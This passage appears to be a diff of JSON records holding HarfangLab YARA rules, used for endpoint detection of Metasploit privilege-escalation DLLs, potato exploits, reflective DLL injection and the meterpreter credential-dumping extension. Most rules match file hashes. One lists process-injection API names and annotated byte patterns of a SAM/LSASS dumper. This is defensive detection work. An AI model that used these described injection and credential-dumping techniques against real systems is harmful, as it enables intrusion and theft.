+  "content": "import \"hash\"\n\nrule metasploit_cve_2016_0051_0b5609cd67cd {\n    meta:\n        title = \"Metasploit CVE-2016-0051 (0b5609cd67cd)\"\n        id = \"7c16154b-c21d-483d-9ce1-0b5609cd67cd\"\n        description = \"Detects the Metasploit CVE-2016-0051 x86 DLL, which exploits a vulnerability in Windows' WebDAV client to elevate privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 131072 and hash.sha256(0, filesize) == \"1b4d7d0f717a71203adfbd900ef7d907c7ffd7f7d8fdb682f5fdda4be98b669e\") or\n        (filesize == 90624 and hash.sha256(0, filesize) == \"f9da84d51a436405bfde86e2a5abbb4bd19cc1226bc07a9f89c1153437a70797\") or\n        (filesize == 94208 and hash.sha256(0, filesize) == \"96b653ac7e56dc7c8e0e547a355402f58c04a81aa1fabe393183ba8c97c09b1a\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_cve_2016_0051_0b5609cd67cd"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_cve_2018_8120_313d8d2c5bfe_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566973Z",
+  "creation_date": "2026-03-23T11:46:25.566976Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566982Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_cve_2018_8120_313d8d2c5bfe.yar",
+  "content": "import \"hash\"\n\nrule metasploit_cve_2018_8120_313d8d2c5bfe {\n    meta:\n        title = \"Metasploit CVE-2018-8120 (313d8d2c5bfe)\"\n        id = \"2b54e391-b7e4-4725-9d90-313d8d2c5bfe\"\n        description = \"Detects the x64 Metasploit module for the CVE-2018-8120, which exploits a vulnerability in Windows Win32k to gain elevated privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 131072 and hash.sha256(0, filesize) == \"2c87b6ecc592d68e607997cd0f2863fefa7bb4a56f836fa5172cd0be6d07ee1c\") or\n        (filesize == 98304 and hash.sha256(0, filesize) == \"8ee8a7cf0d638788b11cf505a5b9266ca5a10a421ded7d4fd1e0bd3e799d8593\") or\n        (filesize == 95744 and hash.sha256(0, filesize) == \"a848356ec4479cf3cf749e9b16ee763fa63da0b4074d67519190c2d7d8e1ea34\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_cve_2018_8120_313d8d2c5bfe"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_cve_2018_8120_77edc194de68_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578725Z",
+  "creation_date": "2026-03-23T11:46:25.578727Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578733Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_cve_2018_8120_77edc194de68.yar",
+  "content": "import \"hash\"\n\nrule metasploit_cve_2018_8120_77edc194de68 {\n    meta:\n        title = \"Metasploit CVE-2018-8120 (77edc194de68)\"\n        id = \"f332b9f6-4afb-44f1-840b-77edc194de68\"\n        description = \"Detects the x86 Metasploit module for the CVE-2018-8120, which exploits a vulnerability in Windows Win32k to gain elevated privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 131072 and hash.sha256(0, filesize) == \"92e0af30c7129a524e141c75c3e71c5f8008c2f6a7a7e40eee93ded8305f0f9a\") or\n        (filesize == 86016 and hash.sha256(0, filesize) == \"04b0d001de0c1e09d9b1e611f13877e9bbdfa5a09b3ca1da280594c54e4d9712\") or\n        (filesize == 83456 and hash.sha256(0, filesize) == \"70260bde4040c7b910adfe36e1bde92f3cbecd816cd00c2fc793ad27fedc9d53\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_cve_2018_8120_77edc194de68"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_ext_server_priv_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575563Z",
+  "creation_date": "2026-03-23T11:46:25.575565Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575571Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "metasploit_ext_server_priv.yar",
+  "content": "rule metasploit_ext_server_priv {\n    meta:\n        title = \"Metasploit ext_server_priv\"\n        id = \"5cdf3912-3e01-46e3-bc79-23380eca03c7\"\n        description = \"Detects the Metasploit meterpreter private server extension.\\nThis extension enables communication with a Meterpreter server, allowing attackers to elevate privileges or dump credentials from lsass.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://attack.mitre.org/techniques/T1003/\"\n        date = \"2022-02-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.HackTool.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // This payload use those APIs to interact with communication channels and inject payloads in distant process.\n        $metasploit_api_import_s1 = \"CreateNamedPipeA\" ascii\n        $metasploit_api_import_s2 = \"ConnectNamedPipe\" ascii\n        $metasploit_api_import_s3 = \"VirtualAllocEx\" ascii\n        $metasploit_api_import_s4 = \"ReadProcessMemory\" ascii\n        $metasploit_api_import_s5 = \"WriteProcessMemory\" ascii\n        $metasploit_api_import_s6 = \"CreateRemoteThread\" ascii\n\n        $metasploit_ext_server_priv_marker_s1 = \":::\\n\" ascii\n        $metasploit_ext_server_priv_marker_s2 = \"\\\\\\\\.\\\\pipe\\\\%08x%08x\\\\pipe\\\\spoolss\" ascii\n        $metasploit_ext_server_priv_marker_s3 = \"\\\\\\\\localhost\\\\pipe\\\\%08x%08x\" ascii\n        $metasploit_ext_server_priv_marker_s4 = \"12345678-1234-ABCD-EF00-0123456789AB\" wide\n        $metasploit_ext_server_priv_marker_s5 = \"ncacn_np\" wide\n        $metasploit_ext_server_priv_marker_s6 = \"Global\\\\SAM\" ascii\n        $metasploit_ext_server_priv_marker_s7 = \"Global\\\\FREE\" ascii\n\n        $metasploit_ext_server_priv_passwd_module_s1 = \"Global\\\\SAM\" ascii\n        $metasploit_ext_server_priv_passwd_module_s2 = \"Global\\\\FREE\" ascii\n        $metasploit_ext_server_priv_passwd_control = {\n            4C 89 AC 24 ?? ?? ?? ?? // mov qword ptr [rsp + 0xXX], r13\n            41 BD 60 EA 00 00       // mov r13d, 60000                 // dwMillisecondsToWait // timeout of the SAM dumper\n            48 89 74 24 ??          // mov qword ptr [rsp + 0xXX], rsi\n            8B DE                   // mov ebx, esi\n            48 89 74 24 ??          // mov qword ptr [rsp + 0xXX], rsi\n            48 89 74 24 ??          // mov qword ptr [rsp + 0xXX], rsi\n            48 89 74 24 ??          // mov qword ptr [rsp + 0xXX], rsi\n            48 89 B5 ?? ?? ?? ??    // mov qword ptr [rbp + 0xXX], rsi\n            44 8B E6                // mov r12d, esi\n            44 8B FE                // mov r15d, esi\n            41 3B CD                // cmp ecx, r13d\n            72 0E                   // jb setup_global_events\n            B8 E0 93 04 00          // mov eax, 3000000                // dwMillisecondsToWait // timeout of the SAM dumper\n            44 8B E9                // mov r13d, ecx\n            3B C8                   // cmp ecx, eax\n            44 0F 47 E8             // cmova r13d, eax\n\n                                    // setup_global_events:\n            4C 8D 0D ?? ?? ?? ??    // lea r9, [rip + 0xXX]            //\"Global\\\\SAM\"\n            45 33 C0                // xor r8d, r8d                    // bInitialState\n            33 D2                   // xor edx, edx                    // bManualReset\n            33 C9                   // xor ecx, ecx                    // lpEventAttributes\n\n            [0-8]                   // possible mov qword ptr [rsp + 0xXX], r14\n\n            FF 15 ?? ?? ?? ??       // call qword ptr [rip + 0xXX]     // CreateEventA(NULL, 0, 0, \"Global\\\\SAM\");\n            4C 8D 0D ?? ?? ?? ??    // lea r9, [rip + 0xXX]            //\"Global\\\\FREE\"\n            45 33 C0                // xor r8d, r8d                    // bInitialState\n            33 D2                   // xor edx, edx                    // bManualReset\n            33 C9                   // xor ecx, ecx                    // lpEventAttributes\n            48 8B F8                // mov rdi, rax                    //\n\n            [0-8]                   // possible mov qword ptr [rsp + 0xXX], r14\n\n            FF 15 ?? ?? ?? ??       // call qword ptr [rip + 0xXX]     // CreateEventA(NULL, 0, 0, \"Global\\\\FREE\");\n            48 89 44 24 ??          // mov qword ptr [rsp + 0xXX], rax //\n            48 85 FF                // test rdi, rdi                   //\n        }\n\n    condition:\n        filesize < 200KB and ((5 of ($metasploit_api_import_s*) and 5 of ($metasploit_ext_server_priv_marker_s*)) or (2 of ($metasploit_ext_server_priv_passwd_module_s*) and $metasploit_ext_server_priv_passwd_control))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_ext_server_priv"
+  ],
+  "rule_creation_date": "2022-02-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_juicypotato_37cc05cca9f9_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578518Z",
+  "creation_date": "2026-03-23T11:46:25.578520Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578526Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_juicypotato_37cc05cca9f9.yar",
+  "content": "import \"hash\"\n\nrule metasploit_juicypotato_37cc05cca9f9 {\n    meta:\n        title = \"Metasploit Juicypotato (37cc05cca9f9)\"\n        id = \"b85b7b37-8a33-4da2-a000-37cc05cca9f9\"\n        description = \"Detects the Metasploit juicy potato x64 DLL, which is used to escalate privileges locally.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 393216 and hash.sha256(0, filesize) == \"be60bba31e0abc58bee4c7c40f16073fd2f6aacfba79c885ab7acee16359a9a5\") or\n        (filesize == 352256 and hash.sha256(0, filesize) == \"ae9a6fbcb28e66fa8f814c1aa968bad7c774caede61de4e528d79ce616178c8c\") or\n        (filesize == 348672 and hash.sha256(0, filesize) == \"ed26bdb3427053d3c5feca22c4a003cc9a2e0ba4c54b86a00cf1d73cf5861c66\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_juicypotato_37cc05cca9f9"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_juicypotato_5b230d6bbccc_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578844Z",
+  "creation_date": "2026-03-23T11:46:25.578846Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578852Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_juicypotato_5b230d6bbccc.yar",
+  "content": "import \"hash\"\n\nrule metasploit_juicypotato_5b230d6bbccc {\n    meta:\n        title = \"Metasploit juicypotato (5b230d6bbccc)\"\n        id = \"3050d4da-bc94-40fa-982f-5b230d6bbccc\"\n        description = \"Detects the Metasploit juicy potato x86 DLL, which is used to escalate privileges locally.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 327680 and hash.sha256(0, filesize) == \"a4c53532699dc5fe4a3dda98f016ca96eac2cff5827509db861439ed95447bd0\") or\n        (filesize == 270336 and hash.sha256(0, filesize) == \"217093c8ca0628d902f2111edc2bc230c5f410fc987156293fcb0e1a6b4b76a5\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_juicypotato_5b230d6bbccc"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_reflective_dll_aab35aade46c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566777Z",
+  "creation_date": "2026-03-23T11:46:25.566779Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566784Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_reflective_dll_aab35aade46c.yar",
+  "content": "import \"hash\"\n\nrule metasploit_reflective_dll_aab35aade46c {\n    meta:\n        title = \"Metasploit Reflective Dll (aab35aade46c)\"\n        id = \"39b4c7b4-659e-4fa0-aa54-aab35aade46c\"\n        description = \"Detects the Metasploit reflective_dll x64 DLL, which is used to inject malicious code into processes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 872448 and hash.sha256(0, filesize) == \"afae6644fe31d56e5272f1023ffbe724cc75ff4966bfb55ffe470a714859ba32\") or\n        (filesize == 917504 and hash.sha256(0, filesize) == \"15774019c4f0247faed5cb518c319b0f3b81e9f10710335865b0ba0ee7f1a412\") or\n        (filesize == 870912 and hash.sha256(0, filesize) == \"e618f8e0fbd05aab8ec878940e9018575b16197426a672cf5b07efefadf3d27e\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_reflective_dll_aab35aade46c"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_rottenpotato_59086a9b5dae_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578755Z",
+  "creation_date": "2026-03-23T11:46:25.578757Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578762Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_rottenpotato_59086a9b5dae.yar",
+  "content": "import \"hash\"\n\nrule metasploit_rottenpotato_59086a9b5dae {\n    meta:\n        title = \"Metasploit Rottenpotato (59086a9b5dae)\"\n        id = \"f5453cf8-69a4-43b9-8458-59086a9b5dae\"\n        description = \"Detects the Metasploit rottenpotato x64 DLL, which is used to create a remote service with persistence and escalate privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 393216 and hash.sha256(0, filesize) == \"dd2cc6d7f64d36a006b49fbdfa20b3b061afbdcde1fc6d81397b0c4c63a05691\") or\n        (filesize == 331776 and hash.sha256(0, filesize) == \"0298dca87fe48e98f755155a3e9e4dbb4d4169a4c86ab7f4e7a8c6f7a88fb42f\") or\n        (filesize == 328192 and hash.sha256(0, filesize) == \"8d4201fc46e530f65b56785b25ec3bd895cc04ef057df41bd7dc592d77bc1daa\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_rottenpotato_59086a9b5dae"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_rottenpotato_b2673d6e65cb_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566944Z",
+  "creation_date": "2026-03-23T11:46:25.566946Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566952Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_rottenpotato_b2673d6e65cb.yar",
